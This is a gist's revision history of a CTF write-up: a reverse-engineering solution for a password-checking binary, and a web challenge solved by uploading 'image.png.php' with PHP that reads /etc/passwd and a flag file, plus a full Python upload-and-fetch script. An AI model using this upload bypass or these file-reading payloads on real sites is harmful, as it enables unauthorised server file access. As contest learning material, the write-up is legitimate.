Login Register
vee1e

vee1e / 9ed8934ce04ed8da88db151b9121b526

Last active 4 days ago

Like 0

vee1e revised this gist 1 year ago · 87253cc

1 file changed, 2 insertions, 2 deletions

writeup.md
@@ -102,7 +102,7 @@ if __name__ == "__main__":
102 102 solve()
103 103 ```
104 104
105 - <center>![Running the solve script.](https://gist.github.com/user-attachments/assets/7b3a9cac-9b67-4306-b3b1-d92582faa239)</center>
105 + ![Running the solve script.](https://gist.github.com/user-attachments/assets/7b3a9cac-9b67-4306-b3b1-d92582faa239)
106 106
107 107 # Web: Photography Contest
108 108
@@ -112,7 +112,7 @@ We're given a site: https://gitieeecsxiitbtl-photography.up.railway.app/. Immedi
112 112
113 113 ![The website](https://gist.github.com/user-attachments/assets/c6e5a0a3-f4d8-4ba7-b01e-79ec41f6c8ae)
114 114
115 - <center>![The source HTML](https://gist.github.com/user-attachments/assets/2b7be25a-1c5a-484e-833a-beb50e511761)</center>
115 + ![The source HTML](https://gist.github.com/user-attachments/assets/2b7be25a-1c5a-484e-833a-beb50e511761)
116 116
117 117 So creating an image named `image.png.php` with the following payload gives us Local-File-Inclusion:
118 118

vee1e revised this gist 1 year ago · 4c8c43c

1 file changed, 2 insertions, 2 deletions

writeup.md
@@ -102,7 +102,7 @@ if __name__ == "__main__":
102 102 solve()
103 103 ```
104 104
105 - ![Running the solve script.](https://gist.github.com/user-attachments/assets/7b3a9cac-9b67-4306-b3b1-d92582faa239)
105 + <center>![Running the solve script.](https://gist.github.com/user-attachments/assets/7b3a9cac-9b67-4306-b3b1-d92582faa239)</center>
106 106
107 107 # Web: Photography Contest
108 108
@@ -112,7 +112,7 @@ We're given a site: https://gitieeecsxiitbtl-photography.up.railway.app/. Immedi
112 112
113 113 ![The website](https://gist.github.com/user-attachments/assets/c6e5a0a3-f4d8-4ba7-b01e-79ec41f6c8ae)
114 114
115 - ![The source HTML](https://gist.github.com/user-attachments/assets/2b7be25a-1c5a-484e-833a-beb50e511761)
115 + <center>![The source HTML](https://gist.github.com/user-attachments/assets/2b7be25a-1c5a-484e-833a-beb50e511761)</center>
116 116
117 117 So creating an image named `image.png.php` with the following payload gives us Local-File-Inclusion:
118 118

vee1e revised this gist 1 year ago · 0e5dfda

1 file changed, 20 insertions, 5 deletions

writeup.md
@@ -60,6 +60,16 @@ We can see the two check functions that occur in the binary, `sub_40128F` and `s
60 60 - `sub_40123E` checks for XOR 0x99423713 with the last 4 bytes of input.
61 61 - `sub_40130F` and `sub_401436` read the middle 8 bytes and transform each value as $$(13 * val + 7) % 256$$ and compare with the array [218, 180, 219, 218, 157, 119, 235, 218].
62 62
63 + Here are the IDA screenshots from my decompilation:
64 +
65 + ![Function `sub_40128F`](https://gist.github.com/user-attachments/assets/0841df8f-b6f1-4b0d-89ef-57df3103072e)
66 +
67 + ![Function `sub_40123E`](https://gist.github.com/user-attachments/assets/8dc77228-cfe1-4f3b-8b00-9ab48983a776)
68 +
69 + ![Function `sub_40130F`](https://gist.github.com/user-attachments/assets/6f2b895e-2117-4b02-8ee0-daad1817d97d)
70 +
71 + ![Function `sub_401436`](https://gist.github.com/user-attachments/assets/dc33840c-89ee-404e-82e9-ce5575763863)
72 +
63 73 Writing a quick script with GPT's help in python gives the flag:
64 74
65 75 ```py
@@ -92,16 +102,17 @@ if __name__ == "__main__":
92 102 solve()
93 103 ```
94 104
95 - ```
96 - ~/Downloads/rev $ python3 maze-runner.py
97 - pass: M4z3_!$_n0t_FuNn
98 - ```
105 + ![Running the solve script.](https://gist.github.com/user-attachments/assets/7b3a9cac-9b67-4306-b3b1-d92582faa239)
99 106
100 107 # Web: Photography Contest
101 108
102 109 **Flag:** `GITXIITB{L1f3_Is_A_R4c3}`
103 110
104 - Classic image PHP upload vulnerability. We're given an upload form with which we can upload an image. But the only checks performed in the code that the file is actually an image is whether it contains a `.png` or not.
111 + We're given a site: https://gitieeecsxiitbtl-photography.up.railway.app/. Immediately think of image PHP upload vulnerability when I see the HTML. We're given an upload form with which we can upload an image. But the only checks performed in the code that the file is actually an image is whether it contains a `.png` or not.
112 +
113 + ![The website](https://gist.github.com/user-attachments/assets/c6e5a0a3-f4d8-4ba7-b01e-79ec41f6c8ae)
114 +
115 + ![The source HTML](https://gist.github.com/user-attachments/assets/2b7be25a-1c5a-484e-833a-beb50e511761)
105 116
106 117 So creating an image named `image.png.php` with the following payload gives us Local-File-Inclusion:
107 118
@@ -147,3 +158,7 @@ else:
147 158 print(response.status_code)
148 159 ```
149 160
161 + ```
162 + ~/Downloads/web $ python3 solve-photo.py
163 + GITXIITB{L1f3_Is_A_R4c3}
164 + ```

vee1e revised this gist 1 year ago · 783e088

1 file changed, 1 insertion, 1 deletion

writeup.md
@@ -58,7 +58,7 @@ We can see the two check functions that occur in the binary, `sub_40128F` and `s
58 58
59 59 - `sub_40128F` checks for the first 4 chars `M4z3`
60 60 - `sub_40123E` checks for XOR 0x99423713 with the last 4 bytes of input.
61 - - `sub_40130F` and `sub_401436` read the middle 8 bytes and transform each value as $(13 * val + 7) % 256$ and compare with the array [218, 180, 219, 218, 157, 119, 235, 218].
61 + - `sub_40130F` and `sub_401436` read the middle 8 bytes and transform each value as $$(13 * val + 7) % 256$$ and compare with the array [218, 180, 219, 218, 157, 119, 235, 218].
62 62
63 63 Writing a quick script with GPT's help in python gives the flag:
64 64

vee1e revised this gist 1 year ago · 197182c

1 file changed, 149 insertions

writeup.md (file created)
@@ -0,0 +1,149 @@
1 + # Reverse: Maze Runner
2 +
3 + **Flag:** `GITXIITBTL{M4z3_!$_n0t_FuNn}`
4 +
5 + Decompiling the code in IDA gives us this:
6 +
7 + ```c
8 + __int64 __fastcall main(int a1, char **a2, char **a3)
9 + {
10 + char v4[32]; // [rsp+10h] [rbp-30h] BYREF
11 + int v5; // [rsp+30h] [rbp-10h]
12 + char v6; // [rsp+34h] [rbp-Ch]
13 + __int16 v7; // [rsp+35h] [rbp-Bh]
14 + char v8; // [rsp+37h] [rbp-9h]
15 + char *s; // [rsp+38h] [rbp-8h]
16 +
17 + if ( a1 == 2 )
18 + {
19 + s = a2[1];
20 + if ( strlen(s) == 16 && (unsigned int)sub_40128F(s) )
21 + {
22 + v6 = 85;
23 + v7 = 3138;
24 + v8 = -9;
25 + v5 = sub_40123E(s);
26 + if ( (_BYTE)v5 != 85 || *(_WORD *)((char *)&v5 + 1) != v7 || HIBYTE(v5) != v8 )
27 + puts("Incorrect.");
28 + sub_40130F(v4, s + 4);
29 + if ( (unsigned int)sub_401436(v4) )
30 + {
31 + puts("Congratulations! It is correct.");
32 + puts("Wrap the flag in GITXIITBTL{}, before submitting.");
33 + return 0LL;
34 + }
35 + else
36 + {
37 + puts("Incorrect.");
38 + return 1LL;
39 + }
40 + }
41 + else
42 + {
43 + puts("Incorrect.");
44 + return 1LL;
45 + }
46 + }
47 + else
48 + {
49 + printf("Usage: %s <password>\n", *a2);
50 + return 1LL;
51 + }
52 + }
53 + ```
54 +
55 + The binary expects exactly one command-line argument of length 16.
56 +
57 + We can see the two check functions that occur in the binary, `sub_40128F` and `sub_401436`.
58 +
59 + - `sub_40128F` checks for the first 4 chars `M4z3`
60 + - `sub_40123E` checks for XOR 0x99423713 with the last 4 bytes of input.
61 + - `sub_40130F` and `sub_401436` read the middle 8 bytes and transform each value as $(13 * val + 7) % 256$ and compare with the array [218, 180, 219, 218, 157, 119, 235, 218].
62 +
63 + Writing a quick script with GPT's help in python gives the flag:
64 +
65 + ```py
66 + def reverse_check2():
67 +
68 + target = bytes([0x55, 0x42, 0x0c, 0xf7])
69 + target_int = int.from_bytes(target, 'little')
70 + v5_orig = target_int ^ 0x99423713
71 + return v5_orig.to_bytes(4, 'little')
72 +
73 + def reverse_check3():
74 + target = [218, 180, 219, 218, 157, 119, 235, 218]
75 + result = []
76 + for v in target:
77 +
78 + for x in range(256):
79 + if (13 * x + 7) % 256 == v:
80 + result.append(x)
81 + break
82 + return bytes(result)
83 +
84 + def solve():
85 + prefix = b'M4z3'
86 + middle = reverse_check3()
87 + suffix = reverse_check2()
88 + full = prefix + middle + suffix
89 + print("pass:", full.decode())
90 +
91 + if __name__ == "__main__":
92 + solve()
93 + ```
94 +
95 + ```
96 + ~/Downloads/rev $ python3 maze-runner.py
97 + pass: M4z3_!$_n0t_FuNn
98 + ```
99 +
100 + # Web: Photography Contest
101 +
102 + **Flag:** `GITXIITB{L1f3_Is_A_R4c3}`
103 +
104 + Classic image PHP upload vulnerability. We're given an upload form with which we can upload an image. But the only checks performed in the code that the file is actually an image is whether it contains a `.png` or not.
105 +
106 + So creating an image named `image.png.php` with the following payload gives us Local-File-Inclusion:
107 +
108 + ```php
109 + <?
110 + readfile("../../../etc/passwd");
111 + ?>
112 + ```
113 +
114 + After some guessing around for what the flag file could be, we end up finding it in `../secrets/flag`.
115 +
116 + Here's the full solve script:
117 +
118 + ```py
119 + import requests
120 + import html
121 +
122 + host = "https://gitieeecsxiitbtl-photography.up.railway.app"
123 +
124 + filename = 'index.png.php'
125 +
126 + payload = """
127 + <?
128 +
129 + readfile("../secrets/flag");
130 +
131 + ?>
132 + """
133 +
134 + files = [
135 + ('image', (filename, payload, 'image/png'))
136 + ]
137 +
138 + response = requests.post(host, files=files)
139 +
140 + if "failed" not in response.text:
141 + response = requests.get(f"{host}/uploads/{filename}", files=files)
142 + print("UPLOAD SUCCESS\n")
143 + print(html.unescape(response.text))
144 + else:
145 + print(response.text)
146 + print(response.headers)
147 + print(response.status_code)
148 + ```
149 +